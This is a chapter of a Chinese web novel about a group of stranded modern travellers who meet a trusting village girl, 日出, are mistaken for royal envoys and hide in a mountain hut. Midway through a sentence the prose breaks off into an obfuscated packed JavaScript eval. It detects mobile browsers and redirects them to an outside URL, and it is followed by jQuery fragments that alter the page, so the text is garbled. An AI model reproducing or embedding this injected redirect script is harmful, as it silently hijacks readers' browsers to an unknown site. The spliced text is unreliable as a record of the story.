白沙镇，这名取得随意，不加斟酌，而附近地方的人更习惯叫它“最海边”。


    虽然被称为小镇，但是仅是一个普通村庄大小。在王城派人来之前，它平平无奇。镇里人每天鸡鸣时起来洒个网，用山上引下的溪水浇菜灌田，再坐在村庄中间的空地里说些闲话，有时会上山挖点野菜，孩子们则满山踩着水花和泥巴乱跑。好不自在快活。


    镇上来了一风尘仆仆的路人，背着简单的行囊。在鲜有外人到来的白沙镇，是稀罕事。此人见多识广，讲话妙趣横生，听到旁人说此地少有外人，他故作玄虚般掐指一算，称此风水宝地在不多时必会迎来颇多客人。


    三日光阴弹指而过。镇内来了两辆兽车，竟与先前的路人相识。而兽车浩浩荡荡又带来了很多人。住在附近的年轻人听到此事，不少人齐齐聚集在白沙镇，大家要一同参与进圣命中——据说，王城遗失了件无价之宝。


    此事未曾有之。


    在这平静无风波的小镇，事之大者也不过是谁家结婚，大家聚一堂用个饭，人最多的时候则是周围几个镇聚市赶集。住在白沙镇的人从未见过这个阵势，十多辆兽车停在小镇外头，高大的行车兽雕鞍彩辔，按次有序地排在并不平整的道路上，它们缩着身子，低眉顺眼的模样竟显得有点可怜。


    一金袍红纹的使者从刻着精美花纹的车子上走下来，金纹繁复，衣袂飘飘，身后仿佛响起高雅奏乐。临时被推选出来的里正心里希冀能不失礼仪地接待，他没见过大场面，有些手足无措。


    尊敬的使者沉下气，温文尔雅一笑，他所讲述的语言近似歌吟，肃穆且动听。


    而一只长着雪白羽毛的怪鸟站在他肩头，仰头，挺着脖子，怪声怪气地翻译：“咱们老家丢人丢到海边来咯，搞丢一个玩意，爬山下水得满地方找，希望乡亲们能帮个忙，不然咱们没脸回去见人——”使者嘴角一抽搐，完美的微笑登时变得扭曲起来。


    临时的里正呆若木鸡。事后手握诏书瞧了又瞧，生怕自己看走了眼。


    即使能口吐人言的怪鸟讲话再奇诡，这群人好歹也王城那边正儿八经派来的，再小的事情亦是大事，众人自然鼎力相助。日出家便是如此，除了日出本人年幼尚不能相助，她双亲整日在使者和里正那边忙前忙后。


    自那日晚，她被再三告诫“不要再去靠近那条河了”。


    白沙镇坐落于一条河的出海口附近，河无名，冠有一俗称“大河”，水清鱼肥，往日里捕蟹抓虾，打闹嬉戏都绕不过它。日出不懂，出生在这儿的孩童从未堕水呛溺，简直是在河里游大的，哪里来的道理是使者一来就拦着不给别人去了？


    日出去问长辈，长辈只称是使者有任务。


    半大点大的孩子们凑一起磋议，实在无聊，索性去找使者问个究竟。使者思量过后，同意了孩子们可以去玩水，但是要远离“打捞场”，倘若发现了什么奇怪的东西必须要上报。


    “你今天没跟着他们一起去胡闹吧？”娘问她。


    “我可是在院里晒谷子，哪里都没去。”日出嘟囔着。


    “好孩子。人家使者好说话，没架子，但是咱们也不能给使者添乱，打扰人家做正紧事。”


    “那我以后还能不能跟着他们去河里玩了？”


    “其他人我管不着，你可不许去。这段时间事多，你多给你娘顾着一点家，少出门。还有，师保说你的文章还读不利落，字也写得歪七歪八的，你多用点心，别让你娘替你操这份心。”


    日出萎靡不振：“知道了——”


    可日出半大孩子，玩性大，闷不了多久就想到处跑。她家里就只有她一个小孩，既然双亲皆忙碌，她自然要去打扫院子，干些舀水浇菜之类的杂活。几个孩子喊她出来去使者那儿玩鸟，她都被拘着，没什么工夫。


    使者那儿有一只会说话的怪鸟，稀奇罕见。这事早就传遍了白沙镇。


    这鸟刚来的时候还同孩子们一起打闹嬉戏，可鸟儿被孩子们跟在后头追捧久了，亢奋至极。那正牌的使者发现鸟不听使唤，反而热衷于在孩子面前掉舌鼓唇。可使者没了鸟难以与外界沟通，小镇人也不懂使者比划的手势，连猜带蒙。他和小镇人面面相觑半日后，克扣了鸟儿的解馋小食，这才作罢。


    日出因家中有事被拘着，错过了玩鸟那一遭，心情不是甚好，接下来更嫌无聊。


    既然不准她去河边，在镇里头待着又可能被师保逮去背书，她便一得空就独自往山上跑。山里没有凶猛野兽，最大的不过是麂子，胆小怕人，听到声响就跑没影了。山里的孩子野惯了，知道分寸，年长的人都不会拘着孩子不许去山里。若是捉到了什么野兔野鼠，还可以带回去加个餐。


    那日说巧不巧，日出依旧上山玩乐，打枣抓兔，却撞上了许巧星一行人。于她而言，只要不念书写字，什么皆别有风趣。她侧耳听见动响，误以为是什么野物，撩开草丛一看，却是四位身着奇装异服的陌生人。他们背对着自己，站立在山路边，另一侧便是悬崖。他们仍未注意到日出，还在相互之间私语琢磨。


    又是外人。


    “你们使者怎么在这儿？”日出从树后走出来，兴致盎然。可她又转念想到，万一使者要在这边找些什么东西，这山头岂不是也要被霸占了？


    使者？许巧星心头纳闷。


    司机大喝一声：“谁！”


    不言而喻，日出吓了他们一跳，但是在发觉能听懂日出说的语言之后，大家皆松了一口气，连忙把手上的铁栏杆往身后藏。


    年幼女孩没察觉他们手上持握的铁棍，她往后退了两步，瞪大眼睛，似乎被吓唬住了。许巧星没料到山里会乍然冒出一个左右不过十二岁的孩子。这孩子眼睛水灵，皮肤是日晒的健康麦黄色，从袍子下面露出来的胳膊和腿上有流畅的肌肉线条，活像一只朝气蓬勃的山中小兽。


    大家僵持了片刻，直到日出再问了一遍。最先开口的是司机。他弯下腰，放柔声音：“小朋友，你一个人怎么在这里？”他平时不太笑，脸颊僵硬，皮笑肉不笑地扯着嘴角。许巧星往女孩身后细细看去，草丛里没有其他动静。


    “我一个人怎么了？你们规矩这么多吗？”日出颇有不乐，误以为司机此话是训斥，“这里是我家，我为什么不可以在这里玩？我哪里都可以去。”


    他咳嗽一声：“这是你家？”


    “不然呢？”日出毫不客气，话一出口，又想起来者是客，不禁有些羞红了脸。


    司机被小孩呛了一下，不知道自己还能说什么。他回过头，给陈哥一个眼神。


    毕竟这人是在学校门口开小卖部的，应该惯会和小孩子打交道的。然而陈哥避开了司机的眼神，甚至挪了几步，站到了许巧星和郝乐宁的身后。


    司机错愕之余，十分不悦，回过头来，换了一副面孔，用自己刻意捏出来的温柔声音说话：“我们不太清楚，没见过你。”


    “我不去河边。”


    司机不明白这句话什么意思，还想再问，却被日出打断了：“你们来这里是要做些什么吗？若要我帮忙就说，不要的话，我可就去自己玩了。”


    许巧星见女孩要走，情急之下喊住了她：“要你帮忙的！”


    “那你们说。”


    “你知道，这附近哪里有信号打电话吗？”郝乐宁犹豫了一下，心中不抱期望，仍是问出了口。


    “信号？电话？这是什么？”日出诧异地张大嘴。


    一时间没人能回她，许巧星灵机一动：“这是我们那边的东西，你要是没听过就算了。我们把外头的事情跟你讲讲，你也和我们说一下你的事情好不好？”


    这话答得突兀，幸好这年幼的孩子并未察觉不对劲。日出思索着说：“你想知道什么？我平时就那样啊。”


    “那你能说一下你平时都在做什么吗？”


    “吃饭睡觉，看书写字。喏。”日出指了指山下的那条河，“我往常总是去摸鱼抓虾，但是你们‘使者’来了后，就不给我去了。”


    又是“使者”这词。


    郝乐宁惊愕，旁敲侧击：“很多使者吗？”


    “来了好多兽车，我也不知道到底有多少？”女孩语气疑惑，“你们不知道吗？难不成不是一起来的吗？我都没看见你们的兽车，你们肯定没走大道。啊！你们不会是刚来吧？头一次进山可要当心，千万别迷路了哦。”


    他们不明其所言，不敢乱应。日出并未再追问，似乎笃定了他们的身份：“那要我带你们去河那边吗？”


    这更不敢。司机挠挠头：“暂时不用。就，能麻烦你告诉我们山里有地方可以住吗？”


    “给使者的院子好像住了不少人。你们刚来，可能挤不下？哎呀，我也没去过，我不知道呢。但是妈妈说使者都是远道而来的贵客，我家还有多余的房间，你们要来我家里住吗？”


    小女孩的话让大家不由得发愣。司机转头看向其他人，几人皆在摇头。他犹豫片刻，不知如何拒绝。郝乐宁抢先一步，柔声说：“我们是暂时不要被其他人发现的使者，来这里还是一个秘密。”


    “哇！”日出顿时拔高声音，精神抖擞起来。


    司机松了一口气，顺着话，继续往下问：“你有见过和我们一样的使者吗？”


    “我不知道什么叫和你们一样的。他们也有信号吗？”


    “这，那也不一定。”郝乐宁用哄孩子的语气，“使者是不是穿着这样的你没见过的衣服？比如，从很远的地方来。一些你没见过的人。”


    “使者不都是这样的吗？”


    郝乐宁凑在许巧星耳旁：“骗这么小的孩子，如果还住到她家里，我会有一种罪恶感。”


    这小女孩对他们毫无警惕。正常情况下，几个陌生人进小孩子家里这种事匪夷所思，以至于所有人在小女孩提出那个邀请后，兢兢战战地四处张望，生怕女孩的家长从哪棵树后面跳出来，手上举着狼牙棒，大喊一声“人贩子”，凶狠地将他们装进麻袋，捆上石头，沉尸河底。


    “这倒不用，我们还是不要打扰大家了。”司机清清嗓子，“只是想问问，山里有没有空出来的房子？”


    于是，一行人跟着小女孩去山里闲置的小屋。据她说，早就没人住了，但是每隔几个月仍有人上山来打扫。


    “你们拿着的是什么？是赶蛇棍吗？”


    “哦对，是的。”许巧星说罢，立即把栏杆往草丛里挥舞几下。


    女孩名叫日出，她一路上闹着要听外面的事情。几人七嘴八舌拼凑出来一个外面世界应付孩子，同时隐晦地询问使者相关。可是日出只知道使者从遥远地方而来，背负圣命，难得一见。


    许巧星也从日出的童言童语中了解到，这里相当原始，不会发电，也没有电视和空调。住在这里的人都遵循“日出而作，日落而息”的规律，而日出口中的“玩”是上山下水摸鱼捡石头，拿着木剑打架过家家，并不是坐过山车和旋转木马。


    这听起来像几百年前，更有说不上来的古怪。


    正因为日出经常上山下水，她虽年幼稚嫩，但身体素质显然比其他人都好。一个孩童猛扎进草丛里就不见了，绕近路又从树木后面冒头看他们，甚至需要停下来等他们。许巧星轻轻叹了一口气，怪不得这般小的孩子敢单独上山。


    许巧星见日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988133|161566||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出在摘小道边的果实，那棵树上还开满了黄色的小花。圆润通红的果子看起来像樱桃，却比樱桃大一点。日出把果子放在袍子一角随意擦了两下，就塞进嘴里。


    许巧星问了一句，日出便在枝叶上抓了几下，献宝般塞了一大把果子送到许巧星手上：“你没见过‘糖’吗？新鲜的好吃。要是摘下来放久了，就不好吃了。你快尝尝。”


    这个果子的发音是“糖”，也许叫别的。许巧星捏了一下果子外皮，很有弹性。她在日出期待的眼神中咬下一口，果肉入口即化，几乎是在唇齿中炸开，微甜清香的果汁在口腔里横冲直撞。


    “哇哦。”许巧星朝日出点头，把嘴里的果汁咽下去，“谢谢你，真不错。”


    这边的树木稀疏，有稍大的余地。屋子外面披着几挂掩人耳目的树叶帘子，倘若不是日出突然掀开那片绑着树叶的帘子，其他人注意不到这后头竟有一扇不大的爬满苔藓的木门。


    屋内陈设简单，一侧是木床，另一侧是干木和稻草堆，正中央摆着一张方方正正的桌子。没有窗户，漆黑一团，光只能从墙壁四角的狭长透气口照射进来，从门外涌入的空气激起一阵细灰，在阳光下若隐若现地飘舞。


    几人被灰尘呛得咳嗽，缓了好一阵才进门。


    桌子上搁置了一盏石灯。许巧星打量通体没有缝隙的石灯，它并不是中空的，也没看见灯芯，这更像一个装饰品。


    “这里很干净啊。”司机说。虽然房子里比较简陋，相比在外面泥巴地里以天为被，有一间遮风避雨的住所自然更适宜。随着当啷一声，司机把之前拿来护身的车上栏杆横放在桌上。


    “周围地下埋了驱赶动物的草药，每隔一段时间就会有人来检查的。”日出解释。


    许巧星把伞靠墙放在门口，连忙问：“那下次是什么时候会来检查啊？”


    日出歪头想了想：“近些日子大家都在忙，应该没这么快来看。你们真的要住在这里吗？山里晚上很冷的，你们住我家里还能晚上烤火。”她关切地用手拍了拍那张甚至没有被褥的床。


    司机再次拒绝了日出的邀请。许巧星腹诽，如果就这样住进你家，你父母怕不是要把我们架在火上烤了。


    在日出准备离开前，司机再三强调，一定不能告诉其他人看过他们。


    “那好吧。”日出迟疑着，但是仍答应了，“那我走了。如果你们使者需要什么帮助，就来镇里面吧。”这个小女孩蹦蹦跳跳地离开了，摆弄树叶门帘的许巧星看见她在小路转角处回头，四目相对，许巧星抬起手回应日出的招呼。


    “要不要跟着她？总要知道一下当地人住在哪。”司机倚着门，眼睛往门外看。


    陈哥摇头，明确拒绝：“不要。万一再碰上其他人怎么办？”


    司机从鼻子里发出冷哼声，不住嗤笑：“你现在终于舍得开口了，我还当你是个哑巴。之前你看见小孩一声不吭的，不知道的还以为你怕她。亏你还是在学校门口开小卖部的，这生意还不得倒闭。”


    许巧星听见司机忽然口吐咄咄逼人的言语，一时间怔住了。而郝乐宁尴尬地打圆场：“各有各的顾虑，大家和日出刚见面，还不熟悉，不知道要说些什么。”


    陈哥闻言，低头沉默了。


    “你不去，那我去跟着她。”司机没有再理会陈哥，他对许巧星和郝乐宁说道，“你们去多摘点那个小女孩说的什么果子，如果我们没抓到什么野兔之类的，恐怕很长一段时间只能吃这个了。”说罢，就头也不回地出门了。


    屋内氛围些许尴尬，两人目光望向陈哥，陈哥本人对司机的态度显得很无所谓，他坐在木床边缘用力抓着鸟窝头，说自己昨晚几乎没睡，想休息一下，便闭眼躺了下去。


    许巧星想起陈哥浓浓的黑眼圈，把门关上，留了一条缝，郝乐宁在她身后小声地说：“就这样吗？”


    “他可能就是没睡好吧。”


    “陈哥一路上都不怎么和我们说话。”郝乐宁说，“司机的那个话带刺，陈哥一点反应都没有。”大家如今同舟共济，要是起了矛盾、散了伙就糟糕了。


    许巧星误以为郝乐宁是在关心陈哥的心理健康，她思索道：“可是陈哥这个年龄的人，也不会因为被司机说两句，就支开我们躲在床上哭吧。应该不用管他。”


    郝乐宁愣了一下，突然噗嗤笑出声来。


    许巧星不明所以，被笑得有些不自在，便换了一个话题：“你说，日出口中的‘使者’到底是什么人？”


    “大概是什么出差的官员。听她话里话外的意思，这段时间来了不少外人，这个小孩子怕是把所有陌生人都认作‘使者’。”郝乐宁耸肩，“她认错了才好，要不然我们就遭殃了。这要是解释不通，又穿着奇怪衣服，会被当成怪姐姐抓走的。”


    许巧星如芒在背。


    郝乐宁督见她的脸色，安抚她：“别紧张，我们什么坏事都还没做。他们也不可能看见陌生人就抓起来吧，天底下哪里有这么不讲道理的事情？”


    许巧星心想，这不是骗了一个热心肠的小女孩吗？但是她作为团伙之一，若朝不保夕之刻和自己的同伴提这些，实在不知好歹。


    “酸甜的果子开胃。”郝乐宁转头看向果子，长长叹息，“再好吃也不顶饱，我好想吃一碗大米饭啊。”她们闲聊着，正把摘下来的果子往书包里放。


    “看这个！”郝乐宁突然抬起手臂。许巧星顺着她所指的方向望去，旁边的山顶上居然有一座红色的高塔拔地参天。此处树木较为稀疏，视野较其余地方开阔许多，这才从浓绿繁茂的缝隙中看见了它的侧影。


    “我们去看看？”